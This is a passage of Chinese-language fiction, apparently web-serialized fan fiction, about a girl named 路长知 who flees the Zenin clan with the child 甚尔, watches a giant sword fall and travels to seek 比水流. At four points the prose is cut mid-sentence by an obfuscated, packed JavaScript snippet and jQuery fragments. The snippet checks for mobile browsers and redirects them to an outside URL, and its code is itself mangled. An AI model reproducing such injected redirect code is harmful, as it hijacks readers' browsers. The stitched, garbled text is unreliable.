“你的咒术能毁掉这些吗?”甚尔是挑着有专门装饰的咒具拿的。即便不清楚是什么,也可以肯定这些东西的价值。 “别吧,以后又不是不来了,下次来之前好好计划一下,先把可以收纳的咒具弄到手再说。” 甚尔的手紧紧抓着挂布,脸色有些阴沉。 “你不想再来了吗?”路长知总要知道他想毁掉这些咒具的理由才好做决定。虽然直毘人就在门口,但是他都故意晚来了,应该也不介意再等一会儿。问就是被结界挡住了,在等甚尔。 “他们……不会再让我有机会来了。”甚尔给自己下了死亡的判决书。 “他们也不会让我来啊,”路长知没跟上他的脑回路,“我们偷偷来就是了。我下次一定不会再弄出这么大的动静了!” “喂,小鬼,我听着呢。”直毘人遥遥喊了一句。 听到直毘人的声音离得如此之近,甚尔身体瞬间紧绷起来,连带着对路长知生出敌意。虽然路长知一开始就说了直毘人在门口,但是距离这么近,直毘人为什么只是在等待,他们又想出来什么新的把戏,究竟要从他身上得到什么才肯罢休——各种想法窜上脑海,眼前是路长知疑惑的表情,她似乎弄不明白敌意因何而起。 “你,”甚尔想说什么,但是声音卡在喉咙里,他用力吞咽两次,话才被说出口,“能毁掉吗?” 他只问这个问题,即便他清楚直毘人可以听到,可以阻拦。 “可以,要毁吗?”路长知问。 “为什么总要我来决定?”甚尔也问,“从是离开禅院家还是大闹一场开始,你为什么想来这里?” “啊,”路长知恍然大悟地睁大眼睛,“因为我想把责任推给你,因为要不要离开对我来说其实没那么重要。但是也不能说是推给你,我确实想影响你的未来,但是也希望那是你自己选择的未来。虽然不管怎样你应该都不会后悔。” 但那都是路长知基于未来已经死掉的甚尔做出的推断。现在站在她面前的是个八岁小孩,一直以来都生活在十分封闭且凄惨的环境之中,他对世界一无所知,身为成年人,身为清楚未来的人,路长知想弥补一些遗憾,挽回一些确实可以改变的事实。 “还是你会后悔呢?”路长知低声追问,但是在未来抵达之前,在最终的死亡降临之前,这种问题是不会有确定的答案的。 甚尔没有回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495659|202487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他为路长知直白的话语感到惊讶,同时也得到了一个答案。如果路长知和那些对他紧追不舍的人是一伙的,能够伪装到这个地步,那就是他自己识人不清。 比起平等地怀疑遇到的每一个人,发生的每一件事,甚尔更愿意相信自己的判断。 至于判断是否正确,那并不重要。 “扔这儿吧,”甚尔说,“你想要的时候再来拿。” 他没说他们一起来拿。虽然在路长知耳中听来是这个意思。 浓雾逐渐消散,直毘人看到咒具被扔在门口,散落一地,上面甚至有新鲜的脚印。一些无足轻重的发泄,但会惹来麻烦。 像是终于想起来自己是长辈,有教育小孩的责任,直毘人没用咒术,只是靠身体速度冲到两个小孩面前,一人一脚,重击将两人砸到墙上,带去份量足够的伤害。 “采取行动前,动动脑子。”直毘人好心提醒道。 他是无所谓这些咒具被怎么对待,他本身也不怎么用咒具,而且他有的是办法得到咒具,但是在家族的不少人眼中,忌库是禁地也是宝库。 擅闯已经足够麻烦,还做多余的事情去尝试惹怒那些人。一些没必要的自寻死路。 缓了一会儿才慢慢爬起来,没来得及用流水将两人护住这件事极大的打击了路长知的自信心。果然,她忍不住想,和同辈人比没有意义,越级打怪才能成长。 “甚尔?”注意到甚尔一直没有动,路长知喊了一声。 在往甚尔的方向走时,路长知后知后觉地意识到,甚尔被那群人接连找了两天麻烦。平时应该不会这么紧促,今天发生的一切都是因为她。她看着一切发生,却还是让他拖着满身的伤跟她乱闹一通。这时候可不能拿这是甚尔自己的选择这种话当借口。 用流水裹住甚尔的身体,路长知突然知道了该怎么飞。和控制流水一样,水球里的人被带着飞起来。心中的怒火在燃烧,面上却不显。 带着水球从直毘人身边经过的时候,路长知说:“既然你在甚尔被伤害的时候一言不发,之后就别跳出来说你在意了。做了选择……这对你们来说应该也算不上选择,只是一直以来都是这样的……算了,你管吧,总比什么都不做好。” 路长知想到了真依和真希,她其实多少有点担心,她的选择会影响她们的出生吗? 可她不能因为有这样的担忧就什么都不做。像直毘人一样,更多时候只是安静地看着的生活,她已经过了七年。不是包含懵懂无知的七年,而是实打实有自我意志的七年。人生有多少个七年呢?所以她一定是会做些什么的,不是现在,就是将来。 这是路长知说自己离不离开对她没有那么重要的原因,她总是要回来的。她要改变这里的一切,或早或晚。虽然现在还做不到什么,但是,只是存在,也是一种力量。 “谢谢你选择庇佑我们。”路长知最后说。 9. 密林深处(一) 想直接长大,跳过中间所有挣扎为难的瞬间。因为是叛逃,不能正大光明从正门离开,路长知带着水球一路朝围墙走去。她想过去院落看一眼,带上些东西,留下些话语。但是那里和她要去的方向相反,而且她的咒力已经快要消耗尽了。 当初仗着是在禅院家所以肆意挥霍的后果现在显现出来了。 而在离开禅院家之后,她们还有很长一段路要走。 甚尔现在虽然没有到快死那一步,但是他无法自主行动,一切都压在路长知肩上。这是她自己的选择,她接受现在的局面。但是真的不能是穿越到游戏里,有个跳过剧情的按键吗?那样的话,她会感谢一切的。 可惜,她还有很长的人生可以用来纠结。 一路向前,翻越围墙比想象中简单。没有阻力,没有结界……毕竟禅院家不是完全与外界隔绝,他们需要采购,需要人际交往。进入可能需要检查,离开就没那个必要。毕竟,谁能相信有人会想要离开禅院家呢。 离开禅院家后,空中的流水连成一条轨道,将路长知和水球一同运走。这和寻常意义上的飞不太一样,但是好用就行。总比真的一步一步从山上下去要强一些。 虽然是在山林里,但是还是不能太引人注目,路长知没有飞在高空,而是花了一些精力用来躲避路上的障碍物。 等她终于从树林中飞出来,还没来得及欣赏现代都市,一柄巨大的剑先出现在视野边缘。 像是被控制一般,路长知缓慢地抬头。 那柄巨剑一点点进入她的视野,占据她的心神,叫她的大脑几近停摆了一瞬。 这是什么啊这是,给她巨物恐惧症都要整出来了! 其实也没有很大,呆愣了一阵的路长知回过神来,重新评价道。那东西离得很远,远得看起来很渺小。只是在看到它的那个瞬间,路长知的全部注意力都被拉过去。而那柄剑确实以超出常理的形式存在着,便让路长知只留下关于巨大的印象。 然后,路长知没忍住笑了出来,没笑很久,但确实笑了出来。真有意思啊,路长知想,她在上一世躲避了一辈子的东西,就这么出现在眼前了? 而且是以这种状态——巨剑的周围布满残渣,整体摇摇欲坠,似乎下一秒就会掉下来。 有那么一瞬间,路长知的心中是充满了仇恨的。 仇恨于穿越,仇恨于选择,仇恨于眼前这一幕。 但也只是那么一瞬。无论她有多想见他,只是看到他,哪怕是他死亡的瞬间,她也没有办法赶过去。她不能抛下甚尔。是她把这个八岁小孩从起码可以让他活着的环境中带出来的,她必须为他的生命负责。这是她自己的选择,她不能怪别人。 而既然她做不到用他人的生命做代价来完成自己的心愿,她就只能站在这里,看着那巨大的剑向下坠落。 和未来某一天后悔当初没有选择离开禅院家相比,现在的选择,应该也不全是遗憾吧。 起码她看到了,她们曾一同在这个世界上存在过。 一些无用的安慰,路长知想着,眨一下眼,眼睁睁看着剑落……落下了? 路长知先怀疑自己的记忆,然后反应过来,今日死去不是周防尊,而是迦具都玄示。 心脏在胸腔内飞快跳动着,手指发麻,汗液从指尖渗出。 这是否可以说是除了等高考成绩以外最令路长知激动与惶恐的瞬间? 她无法给出答案。成绩是可控的,可再次尝试的,但是死亡不是。它们不应该在同一个赛场,是路长知的感知将它们强行放到一起。 缓慢地眨一下眼睛,将所有情绪都收起来,路长知继续赶路。 她决定改一下目的地。既然碰上这样的事情,不好好利用一下已知信息,似乎有些说不过去。 咒力对于普通人来讲是不可见的。这意味着如果不小心碰上什么人,对方就会看到一个小孩飘在空中。虽然路长知会保证对方无法留下证据,但是那样的事情还是不要发生最好。 就这么一路躲躲藏藏地赶路,到了傍晚,即便只接受了基础治疗,甚尔也凭借优越的身体素质醒了过来。 “晚上好。”把人放下来,看着对方脸上有些懵的表情,路长知心情愉快。 甚尔迅速左右看看,陌生的环境令人不安,“他们没把我们分开?” “我们已经离开禅院家了。”路长知说。 正警惕观察周围的甚尔瞬间回头,睁大眼睛,不可置信地看着路长知。 “直毘人没有拦我们,其他人,我离开时他们应该还没意识到发生了什么。” 甚尔慢慢放松下来,又环视一圈周围,突然笑了一声,问:“去哪儿?” “去见识一下天灾般的力量。”路长知道。 “谁的?” “一个死人的。” “嗯?” “你知道这个世界上,除了咒力,还有其它力量存在吗?” “什么?” “很不可思议对吧,简直莫名其妙。” “什么力量?” “有被给予的,有天生的。嗯,不知道会不会和咒力冲突。” “你早就知道?” “可以这么说,但是真的见到的话,也就刚才。” “刚才,敌人?” “如果还活着的话,说不定。哦,他不是死在附近的,不然怎么说是天灾般的力量呢。不对,一般的天灾不会有那么大的破坏力。” “啧。”甚尔对路长知的行为感到不满,她一直在吊他的胃口。 “哈哈,”路长知想了想,“是可以直接把御三家从地图上抹除的力量呢,心动吗?” “真假?” “一会儿就知道了。” 过了一会儿,甚尔问:“是被给予的,还是天生的?” “被给予的。需要被认可才能得到,而且是以自己的死亡为代价,不,也不一定,还是看具体怎么用。不过得先知道那力量和咒力冲不冲突,确定之后再想怎么得到的事情吧。” “冲突就不能用了吗?” “冲突意味着你可能没办法得到,起码没有办法安全地得到,你会为了那种力量而选择放弃生命吗?” “先看看再说。” “我把这视为否定的回答。” 甚尔哼了一声。 “真可爱呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495660|202487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,甚尔。” “少胡说八道。” “我能捏一捏你的脸吗?” “滚。” “小气。” 甚尔扭头,朝路长知的脸伸手。他的动作不快,显然是故意给路长知反应的时间。路长知不仅不躲,反而主动把脸凑过去。 “给甚尔捏捏,甚尔就可以让我捏捏吗?”路长知把单方面行为换成交易。 手指碰到脸颊,陷进去。双方都是头一次做这种行为,没控制好力道,结果是脸颊被指甲划破,婴儿肥的部分肿起来一点。 “啊,好痛。”路长知棒读道。 甚尔双手抱臂,停在原地,不满地看向路长知。 路长知和他对视几秒,突然明白那份不耐烦意味着什么,立刻切换表情,开心地伸手戳对方的脸颊。 没有很多肉,但是也软乎乎的。 “甚尔,可爱。”路长知傻乎乎地笑着,戳戳又捏捏,成功将人惹毛。对此,她不仅不知悔改,还发出今天不洗手了的暴言,让甚尔直接拍开她的手。 是的,即便对被戳戳捏捏感到不满,甚尔也没有躲开。他真的很在意那道由他们两人共同弄出来的痕迹。 “甚尔,叫姐姐。”路长知开始哄小孩。 确实不知道两人谁大的甚尔迟疑一瞬,问:“你叫什么?” 确实没做过自我介绍的路长知脚步一顿,说:“樱咲?” “你问我?” “没人这么叫我,有些怪,你也别这么叫。” “那叫你什么?” “姐姐!” “啧。” “都行吧,也不是真的不能叫,就是有点怪怪的,我不太习惯。但其实也不过是一个名字而已……我越是这样说个不停,是不是越显得我很在意这件事?” “是。” “甚尔会讨厌被人叫甚尔吗?” “还好。” “甚尔会讨厌被人叫禅院。” “……嗯。” “我不讨厌,不如说还挺有意思的。哦,所以我不在乎禅院,我在乎樱咲。为什么呢?那甚至不是母亲起的名字。” “说明你在乎你爸。” 路长知脸上的表情立刻狰狞起来。她张嘴,闭嘴,来回几次,话语才从口中说出来,“讨厌确实也是一种在意……我以为我是不在意的。” 气氛沉默下来,安静几秒,甚尔问:“还去忌库拿咒具吗?” “去。” “到时候把你讨厌的家伙都打一顿。” “你也打?” “我也打?” 两人对视,路长知先反应过来,“哦,不是,我是问你打不打你讨厌的人,不是让你打我爸。” 两人之间又陷入沉默,然后是不知道谁先笑出声,畅快的笑声在树林间回荡,惊起一阵窸窸窣窣的响动。 之后的气氛轻快许多,讨论过回去拿咒具的事情,两人终于有了一些已经离开的实感。 “你最想打谁?”路长知问,她准备做个计划,想让甚尔带给禅院家的威胁不会只停留在那一次报复上。 甚尔想了一下,说:“忘了。” 10. 密林深处(二) “真洒脱啊,禅院甚尔。”路长知故意道,她羡慕对方毫不在意的态度,因为她做不到,就只能这样叫嚷一下,没有一点成年人的样子。 在禅院家时,只是待在自己的房间里,尤其所有人都不在意她,路长知也就可以安稳地只是活着。但是一旦她决定做些什么,意外便冲到眼前,强迫她睁开眼睛好好看一看自己究竟生活在什么样的环境之中。心里想着不会被影响,但是被用厌恶的眼神看过一次就不再尝试与母亲交流,漠视对方的痛苦,那怎么不算是一种背叛,又怎么能要求别人在看到这样的她时不会做出和她一样的选择呢。 思绪跑偏一瞬,路长知想了想,觉得还是放弃有关双亲的话题比较好。在路长知心中,能代表双亲的人不存在于这个世界。对于甚尔来讲,或许是一样的。 出生在禅院家的人,刨除直哉那种,真的有人可能拥有快乐的童年吗?不说快乐,只是平静也很难吧。 这里的人,从大人到小孩,脑子都是有问题的。路长知一边这样想,一边忍不住质疑自己的判断。她会这样想,完全是因为她接受了一套截然不同的理念,没有谁可以保证她理解世界的方式一定是正确的,只是大多数人会这样想。但是她也有不和大多数人站在一起的时刻。她不能只在有利于自己的时候觉得这样是对的。 诸如此类的观念没有办法从路长知的脑内消失,那是构成她的一部分,她只能接受怀疑的念头时不时冒出来,然后一边体会这种想法带来的负面情绪,一边想办法把自己从无尽的思考中拉出来。 她不讨厌这样的人生,因为她知道自己不会陷入虚无。她对痛苦很敏锐,会在意识到自己正身处于其中之前,就开始自救。 代价是,她会有一点情绪不稳定。只是那份不稳定始终被冷静压着,不常显露出来,看着像是根本没有。 “樱咲,姐姐。”这是甚尔的回击,偏又补一个姐姐的称谓。但是会在意这个的,其实也只有路长知。 拿肩膀撞一下对方,路长知问:“想飞吗?” “咒力恢复了?”甚尔眼中带上点兴奋。 “换种方式……你知道什么是电车吗?” 甚尔扬眉,问:“你是从哪里知道这些东西的?” 潜台词是禅院家外的一切对于他来说都是陌生的。 “看书。甚尔,稳定下来之后,你要去上学吗,你知道上学是什么意思吗?” “我不是白痴。” “是白痴也没关系,黑猩猩也能写莎士比亚全集*,我只是不清楚你能做到什么地步,毕竟我们认识还不到两天。这么说起来,你是不是有些太相信我了,还是只要能把你从禅院家带走,是谁其实——喂,你干嘛去?” “看天灾。” “……好吧,我是有点话多。”闭上嘴,路长知追上甚尔道,“手给我。” 甚尔依言交出自己的双手,上面有斑驳的痕迹。 “一只就好啦,”路长知没说什么,只是安静地感受着那份与自己的手截然不同的触感,“想停下或者更快更高之类的要和我说哦,我姑且先按照我的习惯来飞。” 流水在月光下沿着地面搭出一条长长的轨道,一直朝向有巨大陨坑的地方。路长知牵着甚尔走上去,在不稳定的水流上站立比看起来要平稳许多,好像确实在踩着地面,确实是地面在将她们运向远方。 甚尔犹豫再三,还是开口问:“这是飞?” “贴地飞也是飞!”路长知先强调这个,然后说,“可以飞到空中,但是要是被发现了会很麻烦,我们现在还没有可以解决所有麻烦的能力。等以后就好啦。” “快一点。”甚尔没有回应关于以后的话题,就像路长知没有听明白在忌库时甚尔已经做好了迎接死亡的准备,两人的想法在未来这个议题上走向了两条不同的路。 “好哦!”正好前面是一片平原,路长知把速度加到不会让自己的眼睛错过前路任何东西的地步,“开心吗?” 甚尔没有回答,他已经听不到路长知的话语了,他只是望着草地在月光的照耀下飞速从身边略过,感受着风带来的冲击。他曾在把身体逼到极限时有过类似的体验,甚至在第一次被拎着扔进咒灵堆里时,有那么一瞬间,他也觉得自己正在飞。 收回望向四周的目光,甚尔仰头看着身前这个人,忍不住问:“我很弱吗?” “哈,谁说的?”路长知下意识反驳,要扭头时又沉默,最终,她说,“永远有人比你强大,也永远有人比你弱小。甚尔,我在咒术方面或许有很强的天赋,但是我在面对直毘人的时候,依旧什么都做不到,你会因此评价我为弱小吗?而且,和我在咒术方面的天赋相比,其实你的天与咒缚是更难得的。虽然禅院家不这样认为,但是我和许多人都是这样的认为的。你一直生活在禅院家的评价体系下,可是甚尔,你看,这个世界很大,超乎想象得大,可以容纳一切。强大的,弱小的,在强大与弱小之间的。你亲自去体验一下吧,甚尔,没有比亲自经历更好的方式理解世界了。” 说着说着,路长知兴冲冲地扭头看向甚尔,眼睛一眨一眨,看起来非常期待对方的回答。 还没问完就后悔的甚尔被一连串话语击中,他不是很能理解,不讨厌,但是世界能有多大呢? “哦。”面对路长知闪闪发亮的眼睛,他酷酷地应了一声。 “那就说好了,我们先去找比水流,”路长知觉得自己话多是因为她总想把每一个观点都掰开揉碎了讲给甚尔听,那甚尔必然是听懂了的,年龄小不代表无法理解,听不懂肯定会问的,这样想着,她加了一句,“你不赞同的地方要和我讲,我犯错的可能性也是非常大的,到时候你要体谅我哦,我也会体谅你的,好吗?” 路长知总想得到肯定的回答,得到一个保证,即便她心里清楚,会违背约定的人,本就不会被约定限制。 “哦,好。”甚尔其实不太明白自己在答应什么,他只从路长知身上感受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495661|202487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了好意,那就没什么是不可以答应的。 可能因为第一次见到路长知就是她在和代表禅院家意志的人打架,甚尔发现自己不讨厌这个姓禅院的人。 后来她把他从咒灵堆里拉出来,击垮了所有伤害他的人,其中包括她的兄弟。 甚尔无法理解路长知的行为,他身上唯一值得在意的只有零咒力这一点,可那向来没带来什么好的体验。 无所谓,无论这个人想做什么,想从他身上得到什么,什么都可以。 然后他们就伴随着巨大且沉重的响声冲进了忌库。 啊,看着对方脸上璀璨的笑容,刚刚的判断立刻被推翻,甚尔想,这个人很有意思,那就按她说的内容去做吧。 给他乏味的生命添上一点明亮的色彩。 “你犯过什么错?”甚尔对此感到好奇。 路长知下意识想到了死亡,她自己的,或许本来不必如此的,在她心中可以称得上是错误的,只那一次,成了她现在在这里的理由。 “没能说清楚吧,”即便心里清楚,会因为告白被拒绝而选择拿刀杀人的人,无论她怎么考虑都是无意义的,他终究会那样做,“因为不确定另一种选择会有怎样的未来,就总是会想象。我花了好长时间用来想象,一直沉浸在那样的世界里。好奇怪啊,我明明知道已经没有任何意义了,却还是逃不开。” “哈?”这对甚尔来说已经不是能不能理解的问题了,而是根本就听不懂。 路长知没给任何前提,也没法给,起码现在不行。 “甚尔想过自己拥有咒力会是什么样吗?” “想过。” 路长知惊讶于他的直白。 “我会把他们都揍一顿。”他说。 “然后呢?” “不知道。” 他对未来的想象停留在回击,回击之后的人生对于他来说不存在。 人无法想象出未知的东西。 所以路长知可以想象出一万种可能性,而甚尔只能想象出把他经历的一切都还回去。 “还是小孩子呢。” “哈?” “是说你还有非常长的时间可以用来想象的意思啦。干脆从现在开始,从吃开始,你喜欢吃什么啊,甚尔?” “肉。”甚尔即答,他不喜欢思考。 一旦开始思考,痛苦就会成百上千倍地降临到他身上。他只要行动就好了,饿了就吃,困了就睡,烦了就打,只要这样就足够了。 “那我们去吃烤肉吧,很好吃的,我教你怎么烤,你一定很快就能学会!” “哦……不去找比水流了?” “哇,你记住比水流的名字了,果然很聪明嘛,甚尔,超棒的!” “胡说八道什么,一个名字而已。” “那也很棒啊,说明你有在认真听我说话,我当然会感到开心。” “……开心什么?” “开心你在乎我啊。” 11. 密林深处(三) 把流水捏成人的模样,从路边的阳台上拼凑出一套足够将人遮得严严实实的衣物,再戴上帽子、口罩和眼镜,深夜的地下典当行突然走进这样一个人有些吓人,但这毕竟是不太能见光的地方,把自己包得更严实的人不是没有。 路长知离开禅院家时有戴配饰,一个挂在腰间的玉佩,质地一般,但是足够换一些钱让两人过一阵子的现代生活。 买完流水和两人的换洗衣物,拿新到手的手机订好用餐的包厢,把衣服再用水冲洗甩干一遍还回去,顺带在口袋里塞一些小面额的纸币。路长知管这个叫体贴,甚尔说是多余。 “反正是禅院家的钱,不花白不花。” “随你。” “祓除咒灵很挣钱的,不用担心,我们可以养活自己。” “不是投靠比水流?” “是合作,我不要给人打工,被限制的感觉在禅院家还没体验够吗?” “那还要找比水流?” “因为一个人可以做到的事情是有限的啊,将来说不定还会和直毘人合作呢,你讨厌直毘人吗?” “一般。” “那也打他一顿,打完应该就没有那么讨厌了。” 甚尔有些无语。本来他觉得自己打回去的行为挺正常的,也很解气,但是被路长知一直重复念叨,就显得他像是一个幼稚鬼。 “还有多远?”甚尔不想继续这个话题。 从早上到入夜,甚尔什么都没有吃,也没有喝。他很早就觉得饿了,在水球里被弹飞到忌库的时候饥饿感格外强烈,强到让他有些分不清,那时感受到的,究竟是痛苦,还是愉快。 “快了,快了,这个给你,”路长知拿出来一颗装在彩色包装纸里的糖果,是上课时她自己做的,“放了快一周了,但是糖果这种东西,好像能放很久,你先闻一下有没有变味。” 接过糖果,甚尔捏了一下,包装纸发出脆响。 “你吃过糖吗?”路长知问。 “……吃过。” “还记得味道吗?” “大概吧。” “那你尝一下,看看更喜欢哪种味道,”对上甚尔的眼睛,路长知说,“糖果也是有很多种味道的,以后每天给你一个,看能不能找到你记忆中的味道,说不定还能选出来最喜欢的味道。我最喜欢西瓜和蜜瓜的,这两种水果本身就很好吃,一会儿到店里也可以吃。” 等路长知停下来,甚尔才说:“我不是什么都没有吃过。” “可是我没有和你一起长大,不知道你接触过什么,而你显然不会主动和我说你的爱好,那我就只能把我的喜好告诉你,看能不能博得你的——” 甚尔听烦了,直接捂住路长知的嘴,让她接下来十分钟不许说话。 路长知想说不然换个话题,顺带试探一下甚尔能够容忍她到什么地步,又觉得没必要把试探的机会用在这种地方,而且,她想试探什么呢,她难道不是对他的人生一清二楚吗? 又拿肩膀轻轻撞一下甚尔,路长知终于安静带路。 几秒后,在这种寂静中,糖果纸被拧开的声音格外明显。 微微侧头,见甚尔大大方方地吃掉糖果,路长知收回目光,不着痕迹地吐出一口气。 路长知不担心自己的言语会对甚尔造成伤害——她没恶意,甚尔有判断力,她们也确实在意彼此的感受。 十分钟过去,两人正好抵达烤肉店。 在流水人的带领下,三人被店员引进包厢,点了推荐的套餐,拿了调料、水果和饮料。 “尝尝这个。”路长知把可乐推到甚尔手边,露出期待的表情。 她不再长篇大论,而是直接把东西放到甚尔可以触碰到的地方。 抿着唇,甚尔盯着那杯在不停跳动的深色水看了一会儿。 带着对路长知的信任,他凑近闻了闻,成功被弹跳的气泡击中鼻尖。 路长知见状笑出声,然后在甚尔的目光中端起杯子喝了一大口。 犹豫一瞬,甚尔学着路长知的动作喝了一大口。 刺激的口感让他闭上眼睛,想吐又快速咽下,一阵绵密而轻微的刺痛从口腔延伸至喉咙。 最终,残留在喉咙里的只有一阵甜腻。 下意识咽一下口水,甚尔后知后觉地意识到他刚才把糖果和可乐一起吞下了。 睁开眼睛,对上路长知含笑的眼睛,甚尔抓着杯子的手微微用力。他不知道自己什么时候才能再得到一颗由路长知亲手制作的糖果。或许永远也不会有机会。 “你的糖,”他问,“还有吗?” “嗯?现在没有了,你想要吗?我之后做的时候再分你一些。” “什么时候?” “咦,难不成你很喜欢这个味道?”路长知有些惊讶,“明天怎么样?我们可以一起做。” “哦。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495662|202487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “尝一下这个,”负责烤肉的流水人把烤好的肉放到甚尔面前的餐盘上,“可以先吃一下本味,然后再试试调料,看更喜欢哪一种吃法。” 路长知没太把注意力分给甚尔。一方面是她自己不喜欢被别人盯着吃东西,另一方面是她也很饿很馋。禅院家不是没有烤肉,但是她想念的不是品质好的肉,而是烤肉店的秘制调料。 虽然可能有饥饿的加成,但是路长知还是觉得这家店的味道很好。 即便小孩子的身体吃不了太多东西,经过一整天的忙碌,差不多两小时过去,两人还是吃了个七七八八。 最后抱一块西瓜,慢慢啃着。吃几口打一个哈欠。 她们这一天确实经历了太多事情。半路拐来吃饭是正确的选择,不然路长知就要一边和比水流谈条件,一边控制不住地打哈欠了。 虽然两人都不在意这一点,但是精神饱满地谈条件总是会显得更可信也更认真一些。 歇一会儿,等甚尔吃完最后一块肉,再猛喝一大口可乐,两人都心满意足。 “我们先找个地方睡一觉,明天早上起来再赶路怎么样?这里的人看起来不怎么惊慌,说明目的地还有些距离。我们明天坐车吧,体验一下现代交通!” “嗯。”甚尔已经逐渐习惯从路长知口中听到他听不懂的名词了。 或早或晚,他总会弄明白她究竟在说些什么的。 对甚尔的想法一无所知的路长知控制着流水人订了间双床房,然后带着甚尔从窗户爬进去。 “故意的?”甚尔问。 路长知和甚尔都可以在不惊动前台的前提下直接走进去。 “体验一下嘛,我没有爬过窗户!”路长知理直气壮道。 进入房间,和甚尔介绍完电器的使用方法,路长知先去洗澡,然后把甚尔赶去洗澡,再舒舒服服地躺在柔软床上,发出这才是现代人该过的生活的声音。 等甚尔从浴室走出来,路长知已经在电视杂音的陪伴下进入了睡眠。 被手把手教过怎么使用遥控器,甚尔按下开关,房间立刻陷入一片寂静。 风从窗外吹进房间,带来一阵凉爽。 走到门口,甚尔透过窗户看向外面。 那确实是一个非常大的世界,全是甚尔的世界中不存在的东西。 他长久地望着,根据人们的行为进行分析,一点点了解这个光怪陆离的世界。 12. 密林深处(四) 久违的疲惫让路长知一觉睡到中午。睁开眼睛,扭头看到甚尔坐在落地窗前,不知道几点醒的,正安静地看着窗外的风景。 “早。”明亮的太阳在房间里投下光辉,和甚尔打完招呼,感受着那轻微的热意,路长知翻个身,重新闭上眼睛。 她没有睡着,只是在放松自己,直到困意重新找到她。想起来中午要退房,她摸索着找出手机看一眼时间,动作非常娴熟。 “你在外面生活过?”看书只会让人知道使用方法,而不会让人在第一次遇上陌生物品时展露出不应有的熟悉。 “差不多,”路长知没否认这一点,“你饿吗?” “嗯。”瞥一眼外面的太阳,甚尔的表情像是在说你在问废话。 但是路长知说:“我还有点撑,你要吃……我昨天是不是说要做糖来着?” “可以先找比水流。”甚尔善解人意道。无论做糖需要多长时间,都可以为路长知的目的让步。 “你是不是很在意比水流?”路长知总觉得甚尔提及比水流时态度有些怪怪的。 “我在意天灾。” 路长知想了想,从床上坐起来,开始解释道:“有一个石板,上面雕刻了一些人类无法解读的纹路。不知道是石板本身有意志,还是那些纹路在起作用,隔一段时间,它就会将力量给予一些人。在我的认知中,石板不在乎人类如何使用力量,它只给出可能性。而通过石板获得能力的人一共七个,他们被称为王权者。死亡是目前为止已知的、唯一的更新换代方式。 “当然,人类会想研究这种力量,也确实在某种程度上取得了一些成果。不过那是另外一件事。对于我们来说,目前最方便的就是通过比水流来触碰里世界,就像对于普通人来讲,拥有咒力才有看见的可能。 “走吧,”见甚尔没在意她的比喻,路长知最后说,“等我收拾好,我们就去吃午饭,然后坐电车。” 半小时后,为现代都市的包容与冷漠感到欣慰的路长知站在站台前,一手握着流水人,一手握着甚尔,表现得像一家人准备出去玩。 停下来后,甚尔不受控制地朝流水人看了一眼又一眼。 “喜欢?”路长知在甚尔耳边小声说,“我可以给你做一个缩小版的。” “你知道我看不到也碰不到。”天与咒缚对咒力的感知是比不上普通人的,由咒力构筑的小人对于甚尔来说并不存在。 “可以用玻璃做,选那种淡淡的蓝色,一定会很好看。你想要这样包裹成一团的样子吗,还是有别的想法?” “我不需要。” “我想做,哦对,我又把糖果忘了,”说着,路长知同时松开两只手,翻出来手机搜索评价比较好的手工店,“我们找完比水流就去做糖,你觉得怎么样?” “随你。”甚尔并不觉得路长知是在给选择,她已经做了决定,也知道他不会对此提出反对意见。毕竟他确实有一点兴趣。 “你喜欢吃昨天那个糖吗?”她继续话题。 “嗯。” “哇,你承认了!” “嗯。” “……你有在听我说话吧?” “嗯。” “甚尔,我要开始闹脾气了。” “不可以。” “你问我怎么闹。” “不闹。” “啧。” 甚尔敲了一下路长知的脑门,手指有自己的想法,顺着眉骨向下,捏一捏婴儿肥的部分。 “嘿嘿,”路长知抓住甚尔的手,“我可爱吧!” “一般。” “真不诚实,甚尔,你不可能见过比我更可爱的存在。” “哈。”甚尔面无表情地哈气。 这样时不时拌一下嘴,两人一水顺利抵达被允许前往的距离神奈川最近的地方。 越是靠近目的地,越是人烟稀少,路长知干脆带甚尔体验了一下乘坐没有防护的空中列车是一种什么感觉。 